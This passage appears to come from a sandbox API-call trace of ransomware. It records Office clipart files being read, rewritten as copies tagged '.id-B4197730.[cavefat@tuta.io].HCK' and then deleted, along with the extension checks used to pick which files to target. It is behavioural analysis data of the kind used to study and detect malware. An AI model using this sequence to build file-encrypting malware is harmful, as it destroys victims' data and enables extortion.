[0180.297] SetEndOfFile (hFile=0x300) returned 1 [0180.299] CloseHandle (hObject=0x300) returned 1 [0180.300] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.300] SetEndOfFile (hFile=0x368) returned 1 [0180.301] CloseHandle (hObject=0x368) returned 1 [0180.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf")) returned 1 [0180.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.303] lstrlenW (lpString=".doc") returned 4 [0180.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.303] lstrlenW (lpString=".docx") returned 5 [0180.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.303] lstrlenW (lpString=".pdf") returned 4 [0180.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.303] lstrlenW (lpString=".xls") returned 4 [0180.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.303] lstrlenW (lpString=".xlsx") returned 5 [0180.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.303] lstrlenW (lpString=".ppt") returned 4 [0180.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.303] lstrlenW (lpString=".zip") returned 4 [0180.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.303] lstrlenW (lpString=".rar") returned 4 [0180.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".bz2") returned 4 [0180.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".7z") returned 3 [0180.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".dbf") returned 4 [0180.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".1cd") returned 4 [0180.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".jpg") returned 4 [0180.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".doc") returned 4 [0180.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".docx") returned 5 [0180.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.304] lstrlenW (lpString=".pdf") returned 4 [0180.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".xls") returned 4 [0180.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.304] lstrlenW (lpString=".xlsx") returned 5 [0180.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.304] lstrlenW (lpString=".ppt") returned 4 [0180.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".zip") returned 4 [0180.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.304] lstrlenW (lpString=".rar") returned 4 [0180.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".bz2") returned 4 [0180.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString=".7z") returned 3 [0180.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".dbf") returned 4 [0180.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".1cd") returned 4 [0180.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 68 [0180.304] lstrlenW (lpString=".jpg") returned 4 [0180.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.304] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.305] lstrlenW (lpString="SO00194_.WMF") returned 12 [0180.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.307] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10176) returned 1 [0180.307] CloseHandle (hObject=0x368) returned 1 [0180.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf")) returned 0x220 [0180.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.315] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.315] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.318] GetLastError () returned 0x0 [0180.318] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x27c0, lpOverlapped=0x0) returned 1 [0180.320] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x27d0, lpOverlapped=0x0) returned 1 [0180.321] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.321] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.321] SetEndOfFile (hFile=0x368) returned 1 [0180.322] CloseHandle (hObject=0x368) returned 1 [0180.322] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.322] SetEndOfFile (hFile=0x300) returned 1 [0180.325] CloseHandle (hObject=0x300) returned 1 [0180.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00194_.wmf")) returned 1 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.327] lstrlenW (lpString=".doc") returned 4 [0180.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.327] lstrlenW (lpString=".docx") returned 5 [0180.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.328] lstrlenW (lpString=".pdf") returned 4 [0180.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".xls") returned 4 [0180.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.328] lstrlenW (lpString=".xlsx") returned 5 [0180.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.328] lstrlenW (lpString=".ppt") returned 4 [0180.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".zip") returned 4 [0180.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.328] lstrlenW (lpString=".rar") returned 4 [0180.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".bz2") returned 4 [0180.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".7z") returned 3 [0180.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".dbf") returned 4 [0180.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".1cd") returned 4 [0180.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".jpg") returned 4 [0180.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".doc") returned 4 [0180.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".docx") returned 5 [0180.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.328] lstrlenW (lpString=".pdf") returned 4 [0180.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".xls") returned 4 [0180.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.328] lstrlenW (lpString=".xlsx") returned 5 [0180.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.328] lstrlenW (lpString=".ppt") returned 4 [0180.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".zip") returned 4 [0180.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.328] lstrlenW (lpString=".rar") returned 4 [0180.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".bz2") returned 4 [0180.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.328] lstrlenW (lpString=".7z") returned 3 [0180.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.328] lstrlenW (lpString=".dbf") returned 4 [0180.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.329] lstrlenW (lpString=".1cd") returned 4 [0180.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00194_.WMF") returned 68 [0180.329] lstrlenW (lpString=".jpg") returned 4 [0180.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.329] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.329] lstrlenW (lpString="SO00208_.WMF") returned 12 [0180.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.333] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11936) returned 1 [0180.333] CloseHandle (hObject=0x3a4) returned 1 [0180.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf")) returned 0x220 [0180.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.337] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.337] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.343] GetLastError () returned 0x0 [0180.343] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2ea0, lpOverlapped=0x0) returned 1 [0180.345] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2eb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2eb0, lpOverlapped=0x0) returned 1 [0180.346] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.346] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.346] SetEndOfFile (hFile=0x368) returned 1 [0180.347] CloseHandle (hObject=0x368) returned 1 [0180.347] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.347] SetEndOfFile (hFile=0x300) returned 1 [0180.350] CloseHandle (hObject=0x300) returned 1 [0180.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00208_.wmf")) returned 1 [0180.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.351] lstrlenW (lpString=".doc") returned 4 [0180.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString=".docx") returned 5 [0180.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.351] lstrlenW (lpString=".pdf") returned 4 [0180.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString=".xls") returned 4 [0180.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.351] lstrlenW (lpString=".xlsx") returned 5 [0180.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.351] lstrlenW (lpString=".ppt") returned 4 [0180.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.351] lstrlenW (lpString=".zip") returned 4 [0180.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.351] lstrlenW (lpString=".rar") returned 4 [0180.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString=".bz2") returned 4 [0180.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString=".7z") returned 3 [0180.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.351] lstrlenW (lpString=".dbf") returned 4 [0180.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".1cd") returned 4 [0180.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".jpg") returned 4 [0180.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".doc") returned 4 [0180.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString=".docx") returned 5 [0180.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.352] lstrlenW (lpString=".pdf") returned 4 [0180.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString=".xls") returned 4 [0180.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.352] lstrlenW (lpString=".xlsx") returned 5 [0180.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.352] lstrlenW (lpString=".ppt") returned 4 [0180.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".zip") returned 4 [0180.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.352] lstrlenW (lpString=".rar") returned 4 [0180.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString=".bz2") returned 4 [0180.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString=".7z") returned 3 [0180.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".dbf") returned 4 [0180.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".1cd") returned 4 [0180.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 68 [0180.352] lstrlenW (lpString=".jpg") returned 4 [0180.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.352] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.352] lstrlenW (lpString="SO00223_.WMF") returned 12 [0180.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.355] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13890) returned 1 [0180.355] CloseHandle (hObject=0x370) returned 1 [0180.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf")) returned 0x220 [0180.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.369] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.370] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.371] GetLastError () returned 0x0 [0180.371] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3642, lpOverlapped=0x0) returned 1 [0180.373] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3650, lpOverlapped=0x0) returned 1 [0180.374] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.374] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.374] SetEndOfFile (hFile=0x3a4) returned 1 [0180.376] CloseHandle (hObject=0x3a4) returned 1 [0180.377] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.377] SetEndOfFile (hFile=0x2fc) returned 1 [0180.380] CloseHandle (hObject=0x2fc) returned 1 [0180.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 